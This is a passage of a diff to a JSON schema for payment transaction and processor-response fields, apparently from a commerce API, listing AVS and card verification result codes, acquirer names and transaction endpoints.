+ "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + } }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" } }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } + }, + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" + } }, - "pinSessionKey": { - "type": "string" + "type": "object", + "x-legacy": true + }, + "scaResult": { + "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "description": "Processor response for debit card", + "properties": { + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + } }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" } }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" } - } + }, + "type": "object", + "x-legacy": true + }, + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "format": "int64", + "type": "integer" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "title": "Debit Card Processor Response", + "type": "object" + } + ], + "properties": { + "processorType": { + "description": "Discriminator field representing the type of processor response", + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "Processor Response", + "type": "object" + }, + "references": { + "description": "References to the transaction", + "items": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Reference to a document (e.g. order or invoice) that this transaction is for", + "properties": { + "additionalLabel": { + "description": "(Optional) Label that the reference points to", + "maxLength": 32, + "type": "string" + }, + "type": { + "maxLength": 32, + "type": "string" + }, + "value": { + "maxLength": 128, + "type": "string" } }, + "required": [ + "value", + "type" + ], + "title": "Transaction Reference", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom ID format that can take URN or an UUID", + "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/transaction/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + }, + "type": { + "description": "Discriminator field representing the type of Transaction", + "type": "string" + }, + "voidableUntil": { + "description": "Time in RFC 3339 format by which this transaction can be voided.", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "type": "array" + } + }, + "title": "Transactions" + } + } + }, + "scopes": [ + "commerce.transaction:read", + "commerce.transaction:write" + ] + }, + { + "operationId": "getTransactionById", + "method": "GET", + "path": "/stores/{storeId}/transactions/{transactionId}", + "summary": "Get transaction by ID", + "description": "Retrieve all the information for a single transaction using the store and transaction IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/error.json" + } + }, + "200": { + "description": "Transaction Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/transaction.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction details", + "discriminator": { + "mapping": { + "ADJUSTMENT": "./Adjustment.yaml", + "AUTHORIZE": "./Authorization.yaml", + "CAPTURE": "./Capture.yaml", + "REFUND": "./Refund.yaml", + "SALE": "./Sale.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/authorization.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents authorization transaction against a payment", + "properties": { + "captureBy": { + "description": "Time by which the Authorization transaction should be captured (RFC 3339 format).", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "updatedAt": { + "deprecated": true, + "description": "Updated time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + } + }, + "title": "Authorization Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/capture.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents capture transaction against a payment", + "properties": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom ID format that can take URN or an UUID", + "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/refund.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents refund transaction against a payment", + "properties": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom ID format that can take URN or an UUID", + "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/adjustment.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents Adjustment transaction against a payment", + "properties": { + "newAmount": { + "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction amount details", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple amount used for processing transaction", "properties": { - "processorType": { + "amount": { + "description": "Transaction amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "Discriminator field representing the type of processor response" + "x-currency-type": true, + "x-custom-type": true } }, "required": [ - "processorType" - ] + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "reason": { - "type": "object", - "description": 